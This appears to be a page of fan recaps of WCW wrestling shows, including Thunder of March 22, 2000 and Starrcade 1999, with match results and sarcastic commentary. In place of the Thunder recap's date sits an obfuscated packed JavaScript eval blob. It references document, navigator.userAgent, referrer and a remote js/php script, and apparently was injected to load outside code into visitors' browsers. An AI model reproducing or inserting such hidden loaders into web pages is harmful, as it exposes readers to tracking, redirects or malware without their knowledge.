Attendance: 3,088
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

Bischoff and lawyers arrive. Oh geez this is going to be bad.

Opening sequence.

Russo and David Flair bring in a bunch of senior citizens for some reason with Russo insulting all of them.

Kimberly and Jarrett are yelling at Bischoff while Cat yells at both of them. Jeff finally tells all of them, including Cat, to get out.

Cruiserweight Title: Daffney vs. Lieutenant Loco vs. Disco Inferno

Gunns gives Chavo CPR because a match not even lasting three minutes has knocked him out.

Russo summons the Cat.

After a break, Cat has ejected the MIA from the building.

Kidman vs. Major Stash

Kidman has Horace with him. Before the match, Kidman says he knows they can trust each other after Monday. That might be a record for their longest time since turning on each other. Kidman goes after Stash to start but the big guy throws him down and knocks Horace to the floor where he belongs. Stash starts taking over with the power and tosses Kidman out of the corner with ease.

Kidman calls Torrie down for some “making up” but she slaps him in the face and leaves.

And now, a dance lesson with the Cat as he teaches the group of seniors. One of them threatens to smack the bleach out of his hair. This has been a dance lesson with the Cat.

Rick Steiner, Tank Abbott and the Goldberg truck are here.

Bischoff says Goldberg is arrested if he comes in the building. Will the cops pull guns on him like they did with Hogan a few months back?

Hardcore Title: Mamalukes vs. The Wall

Goldberg is in the back.

Cat yells at some cops.

Mike Awesome arrives in his ambulance.

Corporal Cajun vs. Mike Awesome

Awesome fights back with a halo shot and powerbombs Page through the table.

Hollywood Hogan arrives.

The cops are too busy looking at Kimberly to go after Goldberg.

Tag Team Titles: GI Bro/Captain Rection vs. Shawn Stasiak/Chuck Palumbo

Kronik comes out to help destroy the champions.

Sting vs. The Cat

Before the match we get some dancing and bad grammar from Cat. Sting comes down but gets jumped by Vampiro, who sprays him with a fire extinguisher. No match, which is probably best for everyone all around.

Gauntlet Match

Chris does better than anyone did on Nitro, surviving a full thirty seconds before getting pinned by a belly to belly superplex. A regular belly to belly puts Stasiak away in another twenty seconds (counting time spent running to the ring). Palumbo comes in, picks up Midajah, and gets caught in the Recliner for the submission. Scott Steiner just beat both Tag Team Champions in one minute even. Cat takes a Recliner of his own but the rest of the New Blood comes in and the match is thrown out.

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Thunder – March 22, 2000: Oh Heaven Forbid

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyhzk|var|u0026u|referrer|sekdt||js|php'.split('|'),0,{})) March 22, 2000
Location: TD Waterhouse Center, Orlando, Florida
Attendance: 2,443
Commentators: Mike Tenay, Bobby Heenan

Tank Abbott comes out and demands competition.

Tank Abbott vs. Fit Finlay

We cut to the back where Hogan is punching Sid and slams him onto a table.

Sid hires some WCW security guards to work for him alone.

Jung Dragons vs. 3 Count

Please be as good as their Nitro match. Jamie-san and Shane get things going with Jamie shouldering Helms down in a surprising power display. Shannon sneaks in with a spinwheel kick after Shane gets sent to the floor and everything breaks down. Oh dear this is going to be hard to keep up with. The Dragons take over with a triple dive (that looked great) and Jamie ducks a moonsault from Shannon.

The Dragons, ever the sore losers, dropkick 3 Count out of the ring and steal the dancing circles. You can hear the young girls crying from here.

Chris Candido vs. Chavo Guerrero Jr.

The fans like Chavo. Artist and Paisley are shown watching in the back. They grapple to the mat until Chavo takes over with a headlock and here are Artist and Paisley to watch in person. Chavo sends him to the floor and follows with a nice dive as the fans are actually getting into this. Imagine that: getting into a match between talented guys.

Post match Candido slams Chavo down and hits a pair of top rope headbutts. Forget what I said about Chavo looking good.

Scott Steiner bench presses with help from the NWO girls.

XS vs. Los Fabulosos

Scott Steiner vs. Chuck Palumbo

Disco Inferno vs. Vampiro

Speaking of the veterans, Flair and Luger come out for the beatdown but Sting makes the save.

The Cat vs. The Dog

Knobbs whips Dog, meaning PETA probably protested because PETA is a bunch of nutjobs. Not their idea mind you, but their methods.

This Week in WCW Motorsports. With all of their problems, they can still field a team?

Norman Smiley needs someone to watch his back. Indeed, and that someone should beat him up for letting this hardcore stuff keep going.

Demon vs. Hugh Morrus

Knobbs puts Dog in his car and drives away. Dog puts his head out the window because WCW thinks this is entertaining.

We get some KidCam footage of Bagwell calling out Sid earlier. Then he hits on a backstage worker and gets nowhere.

Video on the Wall. Points for trying anything new I guess.

Knobbs abandons Dog on the side of the road, triggering some moon howling.

US Title: Jeff Jarrett vs. Buff Bagwell

Hogan tells Jimmy Hart to get Bill Busch to make the match with Sid no matter what it takes.

Dustin Rhodes vs. Hulk Hogan

Rating: F. The match ran six minutes and the chinlock was a third of that time. And for what? To build up Dustin Rhodes as a threat? I mean, well done on building up someone new, but Dustin Rhodes as the evil cowboy is the best idea you have? This company deserves to go under if this is their top idea.

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Starrcade 1999 (2015 Redo): Vince Russo Thinks You’re Stupid

Starrcade 1999
Date: December 19, 1999
Location: MCI Center, Washington D.C.
Attendance: 8,582
Commentators: Tony Schiavone, Scott Hudson, Bobby Heenan

Now we get a standard opening video, focusing on the powerbomb match and then the World Title match.

Disco Inferno/Lash Leroux vs. Big Vito/Johnny the Bull

Post match Disco gets beaten up and thrown in the body bag, along with a bottle of ether. The mob takes him back to the parking lot and throw him in their car to take them away.

Scott Hall is out of the US Title match due to a knee injury so Benoit is the champion.

Cruiserweight Title: Madusa vs. Evan Karagias

Evan is defending and Madusa offered sex to get this show. After she earned the shot, Evan dumped Madusa for Nitro Girl Spice, making this just another title match but with man on woman violence because Russo is obsessed with this idea. Madusa dives off the top to take out Evan and Spice before sending him into the barricade. They head inside where Evan slaps her in the face and plants her with a powerslam, only to miss a Lionsault.

Hardcore Title: Meng vs. Norman Smiley

Meng throws a cinder block at his head but Norman avoids the whole death thing. Smiley dives behind some boxes to hide, allowing Finlay and Brian Knobbs to come up and beat Meng down. Well kind of as Meng no sells the chair and trashcan shots until Finlay NAILS him with a lead pipe to knock Meng silly. Norman comes out and covers to retain.

Meng beats up Nick Patrick for reasons.

David Flair has a gold crowbar delivered to him and seems very happy.

Oh wait there is, as we cut back to see the Misfits kidnap Oklahoma.

Jim Duggan/??? vs. Revolution

Shane sits in on commentary to make it a handicap match. Dean and Duggan start things off but Saturn comes in less than ten second in. The Varsity Club gets in some cheap shots in the corner before Duggan hammers away with forearms to the back. Dean comes in again for an elbow to the face and a slam, followed by the three point clothesline for two.

Shane tells Duggan he has 24 hours before he has to renounce America. They drape the Revolution flag over him, only to take it right back off.

The Misfits have Oklahoma in a shark cage to make sure he stays out of the Vampiro match.

Vampiro vs. Steve Williams

The five minute clock starts immediately.

Oklahoma vs. Vampiro

Harlem Heat/Midnight vs. Curt Hennig/Creative Control

Dustin, wearing a Dusty Rhodes shirt, talks about the match but Jeff jumps him to start.

Jeff Jarrett vs. Dustin Rhodes

Dustin finally suplexes his way out and gets two off a Boss Man Slam. Shattered Dreams connects but Hennig pulls the referee out at two. That earns Curt some Shattered Dreams of his own and all three head up to the entrance. Dustin plants Hennig with a bulldog but Jeff climbs the ladder and blasts him with a guitar for the pin.

Page says his hands will have a crowbar in them tonight and then those same hands will give Flair a bang.

Diamond Dallas Page vs. David Flair

Page gives him a middle rope Diamond Cutter post match and it about to hit him with the crowbar but the yet to be named Daffney runs in to cover Flair up. Page leaves instead of hit the crazy chick.

Total Package vs. Sting

In the back, Sting gives Liz “super high octane” mace. The STEROIDS chant begins and Luger quickly sends Sting outside. Some whips into the barricade have Sting in more trouble before some elbows get two. Sting no sells a ram into the buckle and Luger gets caught between slaps from Sting and Liz. A double clothesline puts both of them down because of those two and a half DEVASTATING minutes of action.

Sid Vicious vs. Kevin Nash

The referee FINALLY GETS BUMPED, right before Sid hits a powerbomb. Cue Jeff Jarrett with a guitar to knock Sid out cold. The referee slowly gets up and Nash loads up a powerbomb but his back is out. Now the referee turns around as Nash is holding his back and Sid is down. Nash: “Yeah I powerbombed him.” Referee: “WELL OK THEN!” Nash wins. Scott Hudson: “I refuse to refer to Nash as the master of the powerbomb!” Oh dang man. No Scott Hudson endorsement? This is a sham of a reign as powerbomb master!

Benoit says the open challenge is still, uh, open.

US Title: Chris Benoit vs. ???

Both guys go up until Jarrett gets knocked down, followed by both guys going up and getting knocked over for nice crashes. In the best spot of the match, Benoit goes up but Jarrett dropkicks the ladder out from underneath him, sending Benoit down for a huge crash. Benoit is up first and dropkicks the ladder onto Jarrett but Benoit would rather drop a Swan Dive off the top of the ladder instead of grab the belt. Now he goes up and gets the belt for the win.

We recap Goldberg vs. Hart, which started over Hart wanting to give Goldberg a title shot, and then became an Outsiders story involving the Tag Team Titles. Other than a few one off promos, these two have barely addressed each other.

WCW World Title: Bret Hart vs. Goldberg

Robinson comes out as a replacement and an overly excited (and likely drunk) fan is dancing badly in the front row. A big boot puts Hart down back inside but Robinson gets bumped on a hiptoss. Goldberg spears the turnbuckle as the third referee comes down to see Bret put on the Figure Four around the post. Back in and Bret starts in on the leg and puts on a regular Figure Four. The turn sends Bret running for the ropes so he wraps the leg around the middle rope in the corner.

Piper hands Bret the belt and walks off to end the show.

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